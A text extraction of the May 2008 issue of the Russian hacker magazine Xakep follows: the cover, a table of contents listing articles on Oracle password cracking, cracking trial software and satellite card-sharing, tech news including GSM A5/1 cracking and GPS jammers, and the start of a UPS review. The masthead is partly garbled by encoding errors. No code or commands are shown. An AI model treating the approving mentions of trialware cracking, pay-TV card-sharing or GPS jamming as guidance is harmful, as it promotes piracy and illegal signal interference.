Хакер

Скачать как pdf или txt
Скачать как pdf или txt
Вы находитесь на странице: 1из 165

Все операторы на одной SIM-карте стр.

116

ж у р н а л о т к о м п ь ю т е р н ы х х у л и г а н о в

www.xakep.ru

Май 05 (113) 2008

На что
способна
твоя
web-камера
7 чумовых
рецептов
использования
обыкновенной
web-камеры
стр. 30

По 1
дро .4
бности на стр

Запароленная армия Спутник для Как два линка


власть лоадеров! всей семьи обуздать
Методики Универсальные Взлом эффективная
взлома паролей приемы взлома спутникового TV работа
в Oracle триального и вынос нескольких
стр. 52 софта кардшаринга интернет-каналов
стр. 62 на телевизор во FreeBSD
стр. 122 стр. 138
>> inside

Степан Ильин
/ STEP@GAMELAND. RU/

 xàêåð 11 /107/ 07
CONTENT•05(113)
004 MegaNews КОДИНГ
Все новое за последний месяц 100 Реальная помощь домохозяйкам
Учимся кодить модули поддержки обозревателя
104 Функциональная шпиономания
FERRUM Краткий курс перехвата функций в Delphi
016 Успеть сохраниться 110 Осторожно, двери открываются
Сравнительное тестирование недорогих ИБП Собираем недешевый дорген на C#
022 4 девайса 114 Трюки от Крыса
Обзор четырех новых девайсов Программистские трюки и фичи на С\С++ от Криса Касперски
024 Победа в борьбе за скорость
Тестирование двухдиапазонного ADSL интернет-центра
ZyXEL P660HTW2 EE ФРИКИНГ
116 Мобильная SIMphonia
Полтора десятка мобильных аккаунтов на одной SIM’ке
PC_ZONE 122 Спутник для всей семьи
026 Тотальный антивирус Вынос кардшаринга на телевизор
Универсальный антивирусный центр своими руками
030 На что способна твоя Web-камера
cемь необычных применений для самой обыкновенной XAKEP.PRO
веб-камеры 128 Кодовое имя «Longhorn»
036 Как я стал фрилансером Windows Server 2008: обзор нововведений
Заметки вольного стрелка 132 Рецепты приготовления кальмара
041 Mobile tricks Squid: настраиваем контроль доступа и оптимизируем кэш
Используем коммуникаторы Asus на 100% 138 Как два линка обуздать
Добиваемся эффективной работы нескольких интернет-каналов
во FreeBSD
ВЗЛОМ 144 Жизнь сервера без BSOD
044 Easy Hack Скрытые рычаги управления ядром Windows Server 2003
Хакерские секреты простых вещей
048 Обзор эксплойтов
Много новых сплоитов ЮНИТЫ
052 Запароленная власть 148 Депривация: над пропастью сновидений
Щелкаем пароли от Oracle, как орешки Филигранная техника трансформации сна
058 В горячем сердце файрвола 152 FAQ United
Взлом портала популярного брандмауэра Большой FAQ
062 Ты – повелитель армии лоадеров! 156 Подписка
Универсальные приемы бывалого крэкера Подпишись на наш журнал
068 Раскрываем код 158 Диско
Дизассемблирование C# программ от A до Z 8,5 Гб всякой всячины
074 Х-Tools 160 WWW2
Программы для взлома Удобные вебсервисы второго поколения

СЦЕНА
076 Заметки о хак-форумах
Предвзятый обзор неприватных хакерских
и околохакерских конференций
080 X-Profile
Профайл Жанны Рутковской
084 X-Stuff
Фотографии рабочих мест хакеров

ЮНИКСОЙД
086 Великолепная семерка
Обзор новшеств в FreeBSD 7.0
090 Прорыв сквозь PPP
Настраиваем PPPoE и PPTP подключения в Linux
096 Во власти суперблока
Файловая система Linux в подробностях
Intro
Свобода информации и знаний постепенно меняет мир. Свобода информации и знаний начинает управлять
То, что раньше было прерогативой государств, спецслужб миром. То, что раньше было доступно единицам, стано-
и корпораций постепенно спускается к обычным людям. вится доступно всем.
Массово открываются протоколы и исходники софта, бес- Это же классно, когда о баге в протоколе узнает весь
платные opensource-платформы постепенно заменяют мир, а не только спецслужбы. Когда обладая специ-
закрытые решения в тех сферах, где это возможно. фикацией и исходниками некоторых частей Windows
Только подумай: теперь даже прослушать GSM A5/1 opensource-разработчики могут писать классный
телефон не большая проблема. Алгоритмом взлома софт. Когда любой человек может бесплатно за 5
только что поделился со всем миром Skyper из THC минут сделать свой блог на Wordpress и делиться
на конференции HITB 2008. Все, что надо – это девайс своими мыслями со всем миром.
примерно за $700 и определенные знания в голове, Все это создает тот новый мир, на который мы с тобой
которые можно получить в интернете. И можно не со- можем легко влиять, улучшая и меняя его под себя.
мневаться в том, что это обстоятельство очень быстро nikitozz, гл. ред. Х
улучшит протокол. udalite.livejournal.com

/Ðåäàêöèя /Art >Подписка


>Ãëàâíûé ðåäàêòîð >Àðò-äèðåêòîð Марина Гончарова
Íèêèòà «nikitozz» Êèñëèöèí Евгений Новиков /Publishing ([email protected])
([email protected]) ([email protected]) >Èçäàòåëи òåë.: (495) 935.70.34
>Âûïóñêàþùèé ðåäàêòîð >Верстальщик Рубен Кочарян ôàêñ: (495) 780.88.24
Николай«gorl»Андреев Вера Светлых ([email protected]) > Ãîðячая ëèíèя ïî ïîäïèñêå
([email protected]) ([email protected]) Александр Сидоровский òåë.: 8 (800) 200.3.999
>Цветокорректор ([email protected]) Áåñïëàòíî äëÿ çâîíÿùèõ èç Ðîññèè
>Ðåäàêòîðû ðóáðèê Александр Киселев >Ó÷ðåäèòåëü
ÂÇËÎÌ ([email protected]) ÎÎÎ «Ãåéì Ëýíä» > Äëя писем
Дмитрий«Forb» Докучаев >Фото >Äèðåêòîð 101000, Ìîñêâà,
([email protected]) Иван Скориков Äìèòðèé Àãàðóíîâ Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð
PC_ZONE и UNITS >Иллюстрации ([email protected]) Çàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå
Степан «step» Ильин Родион Китаев >Óïðàâëÿþùèé äèðåêòîð Ðîññèéñêîé Ôåäåðàöèè ïî äåëàì
([email protected]) ([email protected]) Äàâèä Øîñòàê ïå÷àòè, òåëåðàäèîâåùàíèþ è
СЦЕНА Стас Башкатов ([email protected]) ñðåäñòâàì ìàññîâûõ êîììóíèêàöèé
Петя и Волк ([email protected]) >Äèðåêòîð ïî ðàçâèòèþ ÏÈ ß 77-11802 îò 14 ôåâðàëÿ 2002 ã.
([email protected]) Ïàøà Ðîìàíîâñêèé Îòïå÷àòàíî â òèïîãðàôèè
UNIXOID, XAKEP.PRO и PSYCHO ([email protected]) «ScanWeb», Ôèíëÿíäèÿ.
Àíäðåé «Andrushock» Ìàòâååâ /xakep.ru >Äèðåêòîð ïî ïåðñîíàëó Òèðàæ 100 000 ýêçåìïëÿðîâ.
([email protected]) >Ðåäàêòîð ñàéòà Ìèõàèë Ñòåïàíîâ Öåíà äîãîâîðíàÿ.
ÊÎÄÈÍÃ Ëåîíèä Áîãîëþáîâ ([email protected])
Александр «Dr. Klouniz» Лозовский ([email protected]) >Ôèíàíñîâûé äèðåêòîð Ìíåíèå ðåäàêöèè íå îáÿçàòåëüíî
([email protected]) Леонова Анастасия ñîâïàäàåò ñ ìíåíèåì àâòîðîâ.
ФРИКИНГ /Ðåêëàìà ([email protected]) Ðåäàêöèÿ óâåäîìëÿåò: âñå ìàòåðèàëû
Сергей «Dlinyj»Долин >Руководитель отдела рекламы >Редакционный директор â íîìåðå ïðåäîñòàâëÿþòñÿ êàê
([email protected]) цифровой группы Дмитрий Ладыженский èíôîðìàöèÿ ê ðàçìûøëåíèþ. Ëèöà,
>Ëèòåðàòóðíûй ðåäàêòîð Евгения Горячева ([email protected]) èñïîëüçóþùèå äàííóþ èíôîðìàöèþ
Дмитрий Лященко ([email protected] ) >PR-менеджер â ïðîòèâîçàêîííûõ öåëÿõ, ìîãóò
([email protected]) >Ìåíåäæåðû îòäåëà Наталья Литвиновская áûòü ïðèâëå÷åíû ê îòâåòñòâåííîñòè.
Îëüãà Емельянцева ([email protected]) Ðåäàêöèÿ â ýòèõ ñëó÷àÿõ îòâåòñòâåííîñòè
/DVD ([email protected]) íå íåñåò.
>Выпускающий редактор Îêñàíà Алехина /Îïòîâàя ïðîäàæà
Степан «Step» Ильин ([email protected]) >Äèðåêòîð îòäåëà Ðåäàêöèÿ íå íåñåò îòâåòñòâåííîñòè
([email protected]) Àëåêñàíäð Áåëîâ ([email protected]) äèñòðèáóöèè çà ñîäåðæàíèå ðåêëàìíûõ
>Редактор Unix-раздела > Òðàôèê ìåíåäæåð Àíäðåé Ñòåïàíîâ îáúÿâëåíèé â íîìåðå.
Àíäðåé «Andrushock» Ìàòâååâ Ìàðüÿ Àëåêñååâà ([email protected]) Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ
([email protected]) ([email protected]) >Ñâÿçü ñ ðåãèîíàìè áåç ñïðîñà — ïðåñëåäóåì.
>Монтаж видео >Директор корпоративного отдела Òàòüÿíà Êîøåëåâà
Максим Трубицын Лидия Стрекнева ([email protected] )
([email protected])
>> meganews

Meganews Мария «Mifrill» Нефедова


/ [email protected] /

Обо всем за последний месяц

Эксклюзив
от «Эльдорадо»
По-настоящему уникальную и эксклюзивную вещь предста-
вила нашему вниманию компания «Эльдорадо». Новейший
22" монитор VLED221wm со светодиодной подсветкой от
известных мониторных мастеров ViewSonic способен удовле-
творить как нужды киноманов, отдающих предпочтение High-
Definition’у, и опытных геймеров, так и просто требовательных
к цветопередаче пользователей. Цветовой охват новинки в
118% NTSC и динамическая контрастность 12000:1 не имеют
аналогов в мире — обычные мониторы способны охватить
лишь 70-75% данного стандарта. Прибавим к этому время
отклика в 5 мс, максимальное разрешение экрана 1680 x 1050,
встроенные стереодинамики SRS WOW HD и веб-камеру и
получим отличную, во всех отношениях удобную вещь.
Интересно и то, что в течение трех месяцев этот монитор в
России можно будет приобрести только в сети магазинов
«Эльдорадо», и его цена составит $700 против $800, реко-
мендованных для европейского рынка. Учитывая, что схожие
по характеристикам товары стоят порядка $1000 и выше,
предложение «Эльдорадо» более чем выгодно и такой шанс
упускать не стоит :) .

$3 млрд — в такую сумму оценили Яндекс в компании Silicon Alley Insider, опубликовав
рейтинг самых дорогих стартапов. Wikipedia стоит более чем вдвое дороже: $7 млрд.

Microsoft командует: «Роботы, к бою!»


Создатель Windows не перестает удивлять публи- ков, имеющий размер 400 Мб. Если ты с детства
ку своими новыми проектами. Пока юзеры ругают мечтаешь создать своего собственного робота,
Windows Vista за глюкавость, Microsoft полностью то можешь приступить прямо сейчас и принять
переводит MSDN на русский язык и занимается участие в одном из 6 соревнований:
самыми разнообразными стартапами. На днях ею 1. прохождение лабиринта;
были анонсированы соревнования по созда- 2. исследование поверхности планеты Марс;
нию (тут надо задержать дыхание)... роботов! 3. вождение по городу с учетом трафика, дорож-
Фестиваль RoboChamps 2008 не подразумевает ных знаков и светофоров;
конструкторского кубка, где умельцы собирают 4. спасательная миссия в городе, разрушенном в
дроидов из того что попалось под руку, тратя результате землетрясения;
бесчисленное количество денег на камеры, 5. сумо (участникам предстоит вытеснить робота-
сервоприводы, аккумуляторы и дорогущую элек- оппонента за ринг);
тронику. Вместо этого Microsoft предлагает всем 6. турнир, в котором необходимо показать
желающим, не тратя ни копейки, создать и за- превосходство своего робота перед другими
программировать робота виртуального — на базе участниками.
своей специально разработанной платформы. Соревнования пройдут 27-30 октября в Лос- Анд-
Участник может установить программу Robotics желесе. Между тем, на портале MSDN уже дос-
Studio 2008, загруженную с официального сайта тупен «Центр разработчика Microsoft Robotics»
соревнований www.robochamps.com, и сразу (msdn2.microsoft.com/en-us/robotics/default.
же приступить к увлекательнейшему процессу aspx), где можно найти форумы, материалы для
конструирования дроида. О богатстве возможно- обучения по Robotics Studio 2008 и другую полез-
стей говорит хотя бы SDK-пакет для разработчи- ную информацию.

004 xàêåð 05 /113/ 08


>> meganews

Российский финал «Imagine Cup» 2008

11‑го апреля в Москве, в ДК МАИ, прошел


российский финал кубка технологий — «Imagine
Cup» (www.imaginecup.ru). Этот крупнейший
в мире технологический конкурс проводится
уже 6 лет, начиная с 2003 года, при поддержке
Microsoft, а также ряда других компаний и фон-
дов, в числе которых даже ЮНЕСКО. Главные его
цели — привлечение внимания молодых людей
(в основном студентов) к теме инноваций в
сфере IT, «наведение мостов» между молодежью
разных стран, разработка и создание решений
глобальных мировых проблем, а также развитие
технологического прогресса в целом. На этот раз
в соревновании принимают участие команды из
117 стран. своим проектом «Arina», ориентированным на возможно осуществлять мониторинг местности.
Тема конкурса в этом году звучит так: «Пред- повышение эффективности работы лесопожар- Победителем категории «Алгоритмы» стал Бойко
ставьте мир, в котором технологии помогают под- ных служб. Представлять Россию на финале Алексей из Томска, а финалистом «Проекта
держивать стабильную окружающую среду». В кубка технологий, который состоится в июле во Хошими» команда RedDevils из Иваново (Илья
нашем финале были представлены четыре кате- Франции, будут именно они — Анатолий Никитин Гребнов, Сергей Гребнов).
гории из девяти существующих в «Imagine Cup». из СПбГУ ИТМО, Роман Белов из СПбГУ и Дарья Помимо самого конкурса на «Imagine Cup»
Это «Программные проекты», «Проект Хошими» Элькина из СПб ЛЭТИ. Второе место отошло состоялся круглый стол по теме «Коммер-
по созданию игровой стратегии, «Алгоритмы», ученикам Нижегородского государственного циализация технологий. Новые возможности
и онлайновый конкурс «Цифровая фотография университета им. Н.И.Лобачевского с проектом для студентов в России» при участии члена
— фотоэссе» (www.photocup.ru). «.Life», имитирующим интерактивное состояние команды-победителя международного финала
Итоги российского тура выглядят следующим окружающей среды и влияние на нее человека. Imagine Cup 2005, Ивестиционно-технологиче-
образом. Первое место среди более чем 400 «Бронза» же досталась сборной московских ского Альянса и Фонда содействия развитию
участников в категории «Программные проекты» ВУЗов, с их прототипом беспилотного летатель- малых форм предприятий в научно-техниче-
заняла сборная команда питерских ВУЗов, со ного аппарата «AirRanger», при помощи которого ской сфере.

006 xàêåð 05 /113/ 08


>> meganews

Первый сервис-пак для ма у ноутбуков и улучшили работу с беспроводной связью.


В-третьих, изменениям подверглась проверка подлинности ОС.

Vista и третий для XP После установки SP1 Vista перепроверит себя на предмет двух самых
распространенных способов обхода проверки активации. В случае
положительного результата Vista их аннулирует и раз в час будет пред-
Итак, свершилось! В апреле, чуть боль- лагать провести активацию уже нормальным способом. Вошли в пакет
ше года спустя после релиза самой ОС, обновлений и все предыдущие патчи из области безопасности, и была
вышел SP1 для Windows Vista. Вокруг улучшена работа с программами, распознающими вредоносное ПО, то
первого пакета обновлений циркулиро- есть, с различными антивирусами и тому подобными сканерами-мони-
вало множество слухов и домыслов, но торами.
теперь ничего домысливать уже не нуж- В остальном, мелких и не очень исправлений и добавлений много.
но, можно просто во всем убедиться лич- С полным их списком можно ознакомиться на официальном сайте. К
но. Во-первых, теперь Vista распознает примеру, Vista теперь оборудована поддержкой нового стандарта UEFI и
большую часть существующего железа форматом для флеш-накопителей ExFAT.
и ПО. В ее «базе знаний» сейчас свыше 80000 девайсов и компонентов, Но на выходе SP1 для Vista новости от Microsoft не заканчиваются.
а это в два раза больше, чем было на момент выхода системы. Так же, Практически одновременно с ним, лишь на пару недель позже, вышел
Vista отныне подружится и с основными 150‑ю бизнес-приложениями SP3 для нетленной XP. По сути, его уже окрестили полным собранием
от именитых производителей, в числе которых Adobe, Cisco, IBM, Oracle, всех аддонов, появившихся за те три года, что прошли с момента SP2.
Sun и другие. Однако, помимо этого, нельзя не отметить портированные из Vista
Во-вторых, устранена большая часть ошибок, приводивших ко всевоз- элементы, такие как Network Access Protection и Windows Imaging
можным эррорам. Согласно официальной информации, стабильность Component. Очевидно, все плавно движется к тому, о чем Microsoft гово-
системы возросла вдвое. Говоря о стабильности — пофиксили чересчур рит уже давно — к прекращению поддержки XP. А выход SP3 это своего
медленное копирование файлов, тормоза при выходе из спящего режи- рода лебединая песня.

По мнению аналитиков компании Mobile Research Group, число iPhone’ов в России составляет
500 000. Больше только в Китае и США. Неслабо навезли контрафакта, да?

Шире, красочнее,
популярнее
Этой весной компания LG решила порадовать поклонников качественного
изображения сразу несколькими новыми продуктами. Речь, конечно же,
идет о мониторах. Первая серия новинок — W42 — представит нам широ-
коформатные ЖК-дисплеи с диагоналями в 19", 20" и 22". Характеристики
таковы — динамическая контрастность 8000:1, время отклика 5 мс и система
LG f-ENGINE, позволяющая значительно улучшить изображение. Модели
серии, оканчивающиеся на букву «T» (например W2042T), оснащены
цифровым интерфейсом DVI-D, который поддерживает систему против
незаконного копирования контента HDCP.
Вторая новая серия — W00 — ориентирована на профессионалов и «гур-
манов» в области визуала. Два дисплея W2600HP и W3000H, обладающие
диагоналями в 26" и 30" дюймов, соответственно, должны идеально подой-
ти тем, кто много и серьезно работает с графикой — расширенная цветовая
гамма, полная поддержка HD, максимальное разрешение 1920 х 1200 и 2560
х 1600. Но, конечно, и цена у гигантов тоже немаленькая — $1400 за модель
W2600HP и $2250 за W3000H.

В прошлом году жертвами фишинга стали 3,6 миллионов клиентов финансовых


сервисов. Они потеряли в общей сложности $3,2 млрд.

008 xàêåð 05 /113/ 08


>> meganews

Команда ИТМО
выиграла в Битве
Мозгов
С 6 по 9 апреля в канадском городке Банфф на западе страны проходил
крупнейший и старейший мировой чемпионат по спортивному програм-
мированию — ACM ICPC, главным спонсором которого является компания
IBM. Проводимое в 32 раз мероприятие собрало 100 сильнейших команд
со всего мира, причем одно из самых многочисленных представительств
было у России: всего приехало 11 российских команд.
В ходе пятичасового соревнования командам-участникам было предло-
жено 11 задач, для решения которых требовались незаурядные знания в
области математики и программирования. В итоге, решив 8 из 11 задач,
победила команда ИТМО — института точной механики и оптики из Петер-
бурга. Второе места заняли студены MIT из массачусетского технологиче-
ского, третье и четвертое — Львовский университет и ИжГТУ, соответст-
венно. Всего 5 российских команд заняли призовые места.

Немецкая Wikipedia содержит700 тысяч статей и является вторым по величине


разделом энциклопедии после английского. В сентябре 2008 года она выйдет в тираж
на бумаге.

Sun Tech Days в Питере


В начале апреля в Санкт-Петербурге, вот уже в третий раз, прошли — Ян Мердок (Ian Murdock), Рич Грин (Rich Green) — исполнительный
российские Sun Tech Days. Это ежегодное мероприятие, в течение 10 лет вице-президент руководителя подразделения Sun Microsystems,
организуемое компанией Sun Microsystems по всему миру, представляет отвечающего за ПО, и многие другие. Основными темами 2008 года стали
собой серию конференций и проводится в целях обмена опытом, попу- JavaFX, Solaris, GlassFish, JavaSE7, OpenJDK и так далее. Всего за эти
ляризации и развития таких технологий, как Solaris и Java. В этом году в три дня было зачитано аж 72 доклада и проведено 6 мастер-классов.
Питере с докладами побывали создатель Debian GNU/Linux и вице-пре- Ознакомиться со всем этим более детально можно на сайте мероприятия
зидент Sun Microsystems по контактам с сообществом разработчиков — www.developers.sun.ru/techdays.

010 xàêåð 05 /113/ 08


>> meganews

Первый Время бороться с GPS


«музыкальный» Модули глобальной системы

тариф от МТС позиционирования (GPS)


успешно прижились в
автомобильной навигации,
МТС и медиа-холдинг A1 представляют первый тариф для судоходстве и авиации.
любителей альтернативной музыки — «Альтернатива». Або- Их интегрируют в ошейни-
нентам предлагается ряд уникальных услуг, разработанных ки домашних животных и
совместно с Первым Альтернативным Музыкальным телека- используют для мониторинга
налом A-ONE. Среди них всевозможные конкурсы, викторины, общественного транспорта.
оперативные новости из сферы музыки и не только, собствен- По заявлению известней-
ный WAP-портал, огромный выбор мобильной музыки и так ших футуристов, уже к 2025
далее. Цитируя главного директора канала A-ONE Михаила году чипы GPS будут имплантированы большинству жителей США. Как тут не
Евграфова, тариф призван объединить вокруг себя комьюнити задуматься об анонимности? В глобальном смысле этого слова! На рынке уже
людей, «которые хотят быть собой и при этом не хотят быть, сейчас доступны десятки моделей так называемых GPS jammer’ов, излучающих
как все». Тому хорошо поспособствуют, например, бесплатные помехи в диапазоне частот, которые используются спутниками глобальной сис-
MMS внутри тарифа или возможность бесплатного просмотра темы позиционирования. Проблема решается, что называется, в лоб, но зато как
A-ONE прямо с мобильного телефона. действенно! Лишенный возможности принимать сигналы с нужного количества
спутников, любой GPS-адаптер оказывается бесполезной игрушкой, безуспешно
Интересная статистика: почти пытающейся определить координаты своего месторасположения. Все большую
половину всего интернет-трафика популярность набирают подавители сигнала GPS, работающие от прикуривателя
автомобиля, дальность таких гаджетов составляет примерно 5 метров. Интерес-
(40%)потребляют самые но, научились ли с ними бороться создатели продвинутых автомобильных сигна-
активные сетевые пользователи, лизаций с возможностью слежения за автомобилем через GPS (за обслуживание
такой сигнализации взимается баснословная абонентская плата)— или свободно
которых всего-навсего 0. 5%от продаваемая безделушка, ценою 265$, может свести все их старания на «нет»?
общего числа юзеров.

Жизнь и смерть torrent-трекеров


«BitTorrent — зло! На трекерах — один варез! форуме, что бразды правления им были переданы его другу. Однако систе-
Закрыть немедленно!», — канадская ассоциа- ма работы сервера (в том числе регистрация только по приглашениям) и
ция звукозаписывающих компаний всерьез команда модераторов останутся прежними.
взялась за известный торрент-трекер demonoid. Другой не менее известный трекер The Pirate Bay родом из Швеции су-
com. Привязались — не отцепишь: под сильным дится со с звукозаписывающими компаниями уже давно, однако успешно
давлением властей трекер был отключен 9 продолжает работать. Параллельно с основным сервисом создатели
ноября. С тех пор периодически подавали признаки жизни то сам сайт, то активно занимаются стартами. Несколько недель назад The Pirate
форум, то серверы. Вернуть трекер к жизни удалось только в апреле, когда Bay запустили хостинг блогов без цензуры. Новый сервис Baywords
он полностью восстановил работу, переехав не куда-нибудь, а в сеть укра- (baywords.com) обещает стать безопасной бухтой для блоггеров, которые
инского провайдера Colocall. Сам основатель то ли тщательно шифруясь, могут писать о чем угодно, не опасаясь, что хостинг может прикрыть их
то ли устав или банально испугавшись последствий, публично заявил на «лавочку».

Capture The
Flag в России
С 26 по 28 апреля в УрГУ (Екатеринбург)
первый раз проводился открытый контест по
информационной безопасности в формате
«Capture The Flag», в котором приняло уча-
стие 9 команд.
Каждая команда получила сервер с предус-
тановленным набором уязвимых сервисов,
причем на момент начала игры сервера ко-
манд были абсолютно идентичными. Задача
участников заключалась в поддержке своих
сервисов в рабочем состоянии и взломе сер-
веров других команд. Подробности конкурса
можно узнать на официальном сайте www.
rustf.org.

012 xàêåð 05 /113/ 08


>> meganews

Заявился на HITB?
Ответь на пару
вопросов
Воодушевленный предстоящим выступлением на HITB, один из
мемберов THC готовился к вылету из аэропорта Хитроу, когда к нему
подошли представители спецслужб и отвели в сторонку. По словам
хакера, эти ребята были хорошо осведомлены о том, кто он такой,
где живет и чем занимается. Не было секретом и то, что специалист
по безопасности направляется в ОАЭ, чтобы представить доклад о
взломе криптографического алгоритма A51. Напомню, что именно
он используется для шифрования данных в системах сотовой связи
GSM. Доклад обещал стать настоящей бомбой. В нем приводились
доказательства того, что с помощью публично доступного обору-
дования, цена которого не превышает $1000, возможно не только
перехватить звонки и текстовые сообщения SMS, но и расшифровать
их! Агенты дали понять хакеру, что власти намерены убедиться в том,
что он не вывозит из страны девайсы для криптоанализа. В частности
их сильно заинтересовал старенький телефон хакера — Nokia 3310 и
так называемый USPR (Universal Software Radio Peripheral) — пус-
кай и хитрый, но все-таки доступный радиоприемник, управляемый
программными средствами. Доводы специалиста о том, что это самое
обычное оборудование, оказались недостаточными и каждый из де-
вайсов был взят на экспертизу. Примечательно, что ноутбук и бумаги
агентов почему-то совершенно не интересовали. Обеспокоенный
хакер поделился своими переживаниями в анонимном блоге blog.thc.
org, где позже отписал, что оборудование ему вернули.

Смерть сотовой связи


VoIP, как и когда-то мобильные телефоны, прочно
и основательно входят в нашу жизнь. Это не просто
прогрессивная технология, но и потенциальная
угроза для всех существующих сотовых операторов.
Причины очевидны. Все больше и больше терри-
торий покрываются беспроводными сетями Wi-Fi и
Wi-Max, а беспроводные чипы интегрируется прак-
тически во все современные гаджеты. Раз уж можно
воспользоваться бесплатный беспроводным каналом и копеечными
услугами VoIP-операторами, то зачем тогда отдавать деньги сотовому
оператору? Платить несколько долларов за разговор в роумин-
ге? Действительно, незачем. Но это в будущем, а пока усилиями
специалистов компании Skype удается эффективно совместить обе
технологии в одно целое. 24 апреля они представили первую версию
своего клиента, работающего на базе мобильного телефона с под-
держкой Java. Совместимая с более чем 50 моделями Nokia, Motorola,
Samsung и Sony Ericsson, бета-версия позволяет использовать чат,
просматривать список контактов, принимать звонки от пользователей
и входящие вызовы SkypeIN. Совершать звонки посредствам самого
Skype и на городские/мобильные телефоны посредством услуги Skype
Out да данный момент разрешено жителям лишь нескольких стран.
Это сделано намеренно: поскольку GPRS-соединение не может обес-
печить достаточный для разговора канал, оно используется только
для инициализации вызова. Сам же звонок осуществляется через
локальный шлюз, связь с которым осуществляется по обычному GSM.
Такие шлюзы уже установлены в Бразилии, Дании, Эстонии, Финлян-
дии, Польши, Швеции и Великобритании.

xàêåð 05 /113/ 08
13
>> meganews

Человек вместо
витой пары
Человек — это источник энергии, и, в общем-то, неплохая
батарейка, если верить фильму «Матрица» :). Но человечес­
кое тело также является неплохим проводником и способно
пропускать через себя огромные массивы данных. Это на
деле доказала японская компания NTT, выпустившая на
рынок специальный комплект девайсов, который называ-
ется Firmo. Главным компонентом таких устройств является
небольшая карточка-передатчик, которая кладется в кар-
ман или другое удобное место. Не требуя прямого контакта
с человеком, она преобразует цифровые данные в элек-
трический сигнал и пускает в тело человека через одежду.
Стоит пользователю дотронуться до принимающей части
системы, как тут же начинается процесс передачи данных.
Текущая скорость не превышает 230 Кб/c, но разработчики
заявляют, что технология RedTraction, используемая при
создании устройства, в будущем позволит передавать дан-
ные на скоростях до 10 мегабит/c. В Японии новинка стоит
$8000 за комплект, в него входят 5 передатчиков и один
приемник. Уже сейчас ее применяют для идентификации
пользователей и создания систем «умного дома», а в буду-
щем ее собираются использовать для обмена информаци-
ей между пользователями. Хочется верить, что не за горами
время, когда после одного единственного рукопожатия
можно будет «выучить», скажем, японский язык :).

PayPal даст ответ фишерам


Компания PayPal издавна славится своей жесткой анти-
фрод системой. К примеру, еще год назад пользователям из
бывших союзных республик вообще нельзя было исполь-
зовать «палку» для денежных переводов в инете. Одна из
наиболее страшных бед для PayPal, как и любого другого
онлайн учреждения, связанного с финансами, — это
фишинг. Большинство пользователей даже не задумы-
ваются о том, что вместо защищенного сайта компании,
которой они доверяют, они могут попасть на сайт-двойник
с полностью скопированным дизайном и структурой, где
в лапы мошенников отдают свои денежки. Отчаявшись
повторять пользователям элементарные правила безопас-
ности, компания решила пойти на радикальные меры и в
ближайшее время планирует заблокировать доступ к своим
серверам посредством браузеров, не поддерживающих
защиту фишинговых сайтов и сертификаты EV SSL (отличие
от обычной SSL обязывает самого поставщика сертификата
проводить дополнительные проверки сайта при каждом
обращении к нему и при каждой попытке запроса данных).
Изменения произойдут не сразу. Некоторое время сайт
платежной системы будет предупреждать пользователя о
возможной угрозе и необходимости использовать другое
ПО. Однако уже в обозримом будущем наиболее уязвимые
браузеры будут запрещены полностью. На подобные меры,
очевидно, могут пойти и другие финансовые учреждения,
поэтому не поленись обновить браузер.

014 xàêåð 05 /113/ 08


>> meganews

393 письма разослал Гарри Туерк 30 лет назад, став первым спамером на планете. С
тех пор количество рекламных сообщений несколько увеличилось, не правда ли? :)

Hack in the Box в Дубае прошел на «ура»


С 14 по 17 апреля десятки ведущих IT-специалистов купались в водах 2. Взлом VSAT — описание технологии, аналогичное Rogue AP для Wi-Fi,
Персидского залива и участвовали в конференции Hack in the Box 2008 которая реализует атаку Man-in-the-Middle для двухсторонних спутни-
в Дубаи. Диллон Эндрю, организатор конференции, задумывал HITB как ковых систем. Проще говоря, позволяет перехватить данные дорогущих
элитарное мероприятие для узкого круга лиц, непонаслышке знакомых SAT-систем.
с хакерской тематикой. И за свои слова он отвечает. В этот раз своими 3. Доклад об уязвимостях VoIP от итальянских спецов о новых возможно-
выступлениями участников вдохновляли известнейшие Брюс Шнайр и стях перехвата голосового трафика в IP-сетях.
Джереми Гроссман, а свои доклады представляли авторитетнейшие гуру 4. Описание новых подходов ко взлому Embedded устройств, набирающих
среди IT-безопастников. Вот лишь наиболее интересные из них: обороты в SOHO-сегменте, в том числе: точек доступа, Wi-Fi камер, ADSL-
1. Техника взлома алгоритма GSM A5/1, позволяющая взломать системы шлюзов, роутеров и т.д.
шифрования GSM за считанные секунды. Для перехвата разговоров и со- Презентации и все сопутствующие данные, выложенные организаторами
общений SMS используется свободно распространяемое оборудование. на своем официальном сайте, ты найдешь на нашем диске.

xàêåð 05 /113/ 08
15
>> ferrum

Алексей Шуваев Кирилл Аврорин

Успеть сохраниться
Сравнительное тестирование недорогих ИБП
Ремонт в квартире соседей, перфоратор, подключенный в паре метров от компа,
электросварка… – все это может сгубить чуткое к помехам железо. После того,
как соседка дважды перепутала предохранители у электросчетчика, – я обзавел-
ся ИБП.

Такой девайс убережет не только данные и железо, но, самое главное, растет. Кроме того, было открыто несколько офисных документов и окон
— нервы. Впрочем, покупать ради сохранения документов собственную браузера, а также поставлен файл на закачку, чтобы нагрузить роутер.
подстанцию неразумно. Поэтому мы решили провести сравнительное Если опираться на показания софта, идущего в комплекте, потребляе-
тестирование бюджетных ИБП. Их мощности достаточно, чтобы питать мая мощность всей системы колебалась в промежутке от 186 до 230 Вт.
офисный или домашний компьютер в течение 5-10 минут — вполне Отдельное внимание уделялось программному обеспечению, идущему
хватит, чтобы в случае перебоев с электроэнергией успеть сохраниться в комплекте, так как от его функциональности зависит очень многое.
и завершить работу. Например, автоматическое отключение через заданный промежуток
времени или по достижению определенного уровня разряда аккумуля-
Методика тестирования тора. Чтобы вычислить полное время автономной работы, мы отрубали
Для проверки функциональных возможностей ИБП мы провели полную автоматическое отключение и выдерживали компьютер до полной по-
зарядку батарей каждой модели. По заверениям производителей, садки батарей. Надо сказать, не все ПО справилось со своей работой на
достаточно 8 часов для зарядки опустошенных аккумуляторов до «отлично», так что после установки и подключения проверь настройки
уровня 90%. Для верности мы дали отстояться девайсам около суток. В программ.
качестве тестового стенда использовали производительный компью- Одним из важных показателей работы ИБП является минимальное
тер, характеристики которого также приведены. К бесперебойнику напряжение в сети, после которого осуществляется переход на питание
был подключен 20‑тидюймовый ЖК-дисплей и Wi-Fi роутер — эдакий от батарей. Путем внедрения в цепь питания между сетью и ИБП лабо-
усредненный вариант домашнего компьютера, ориентированный на раторного автотрансформатора мы меняли напряжение, подаваемое
выполнение разноплановых задач. на бесперебойник, в диапазоне от 0 до 260 Вольт. Таким образом, мы
